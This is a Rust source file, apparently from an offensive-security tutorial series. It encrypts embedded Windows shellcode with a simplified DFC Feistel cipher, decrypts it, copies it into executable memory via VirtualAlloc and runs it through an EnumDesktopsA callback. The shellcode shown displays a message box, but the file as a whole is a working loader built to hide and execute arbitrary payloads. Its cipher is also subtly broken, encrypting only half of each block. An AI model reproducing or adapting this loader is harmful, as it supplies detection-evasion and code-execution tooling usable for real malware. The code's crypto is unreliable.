/* Rust DFC Encrypyion Techniques Description Encrypt and execute payload using DFC Algorithm. Original POC and Credits goes to Cocomelonc: https://cocomelonc.github.io/malware/2024/11/10/malware-cryptography-34.html @5mukx */ use std::ptr; use winapi::shared::minwindef::LPVOID; use winapi::um::memoryapi::VirtualAlloc; use winapi::um::winnt::RtlMoveMemory; use winapi::um::winnt::MEM_COMMIT; use winapi::um::winnt::PAGE_EXECUTE_READWRITE; use winapi::um::winuser::EnumDesktopsA; use winapi::um::winuser::GetProcessWindowStation; const ROUNDS: usize = 8; const BLOCK_SIZE: usize = 16; // subkeys generated from the main key static mut K: [[u8; 16]; ROUNDS] = [[0; 16]; ROUNDS]; // rotate left func fn rot_l(x: u32, shift: u32) -> u32{ (x << shift) | (x >> (32 - shift)) } // function f for DFC round fn f(left: u32, key_part: u32) -> u32{ rot_l(left.wrapping_add(key_part), 3) ^ key_part } // DFC G function applies Feistel structure in each round fn g(left: &mut u32, right: &mut u32, round_key: &[u8]) { let temp_right = *right; *right = *left ^ f(*right, u32::from_ne_bytes(round_key[0..4].try_into().unwrap())); *left = temp_right; } // key schecule for DFC fn key_schedule(key: &[u8]) { unsafe { for i in 0..ROUNDS { for j in 0..16 { K[i][j] = key[j % 8] ^ (i as u8 + j as u8); } } } } // DFC Encryption fn dfc_encrypt(block: &mut [u32; 2], _key: &[u8]) { let (mut left, mut right) = (block[0], block[1]); unsafe { for i in 0..ROUNDS { g(&mut left, &mut right, &K[i]); } } block[0] = right; block[1] = left; } // DFC decryption function fn dfc_decrypt(block: &mut [u32; 2], _key: &[u8]) { let (mut left, mut right) = (block[0], block[1]); unsafe { for i in (0..ROUNDS).rev() { g(&mut left, &mut right, &K[i]); } } block[0] = right; block[1] = left; } // encrypt shellcode fn dfc_encrypt_shellcode(shellcode: &mut [u8], key: &[u8]) { key_schedule(key); for chunk in shellcode.chunks_exact_mut(BLOCK_SIZE) { let mut block = [u32::from_ne_bytes(chunk[0..4].try_into().unwrap()), u32::from_ne_bytes(chunk[4..8].try_into().unwrap())]; dfc_encrypt(&mut block, key); chunk[0..4].copy_from_slice(&block[0].to_ne_bytes()); chunk[4..8].copy_from_slice(&block[1].to_ne_bytes()); } } // decrypt shellcode fn dfc_decrypt_shellcode(shellcode: &mut [u8], key: &[u8]) { key_schedule(key); for chunk in shellcode.chunks_exact_mut(BLOCK_SIZE) { let mut block = [u32::from_ne_bytes(chunk[0..4].try_into().unwrap()), u32::from_ne_bytes(chunk[4..8].try_into().unwrap())]; dfc_decrypt(&mut block, key); chunk[0..4].copy_from_slice(&block[0].to_ne_bytes()); chunk[4..8].copy_from_slice(&block[1].to_ne_bytes()); } } fn main() { // msgbox_shellcode let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 ]; let my_payload_len = shellcode.len(); let pad_len = my_payload_len + (BLOCK_SIZE - my_payload_len % BLOCK_SIZE) % BLOCK_SIZE; let mut padded = vec![0x90; pad_len]; padded[..my_payload_len].copy_from_slice(&shellcode); println!("Original shellcode:"); for byte in &shellcode { print!("{:02x} ", byte); } println!("\n"); let key: [u8; 8] = [0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0]; dfc_encrypt_shellcode(&mut padded, &key); println!("Encrypted shellcode:"); for byte in &padded { print!("{:02x} ", byte); } println!("\n"); dfc_decrypt_shellcode(&mut padded, &key); println!("Decrypted shellcode:"); for byte in &padded[..my_payload_len] { print!("{:02x} ", byte); } println!("\n"); // Allocate and execute decrypted shellcode unsafe { let mem: LPVOID = VirtualAlloc(ptr::null_mut(), my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if !mem.is_null() { RtlMoveMemory(mem, padded.as_ptr() as *const winapi::ctypes::c_void, my_payload_len ); EnumDesktopsA(GetProcessWindowStation(), std::mem::transmute(mem), 0, ); } } }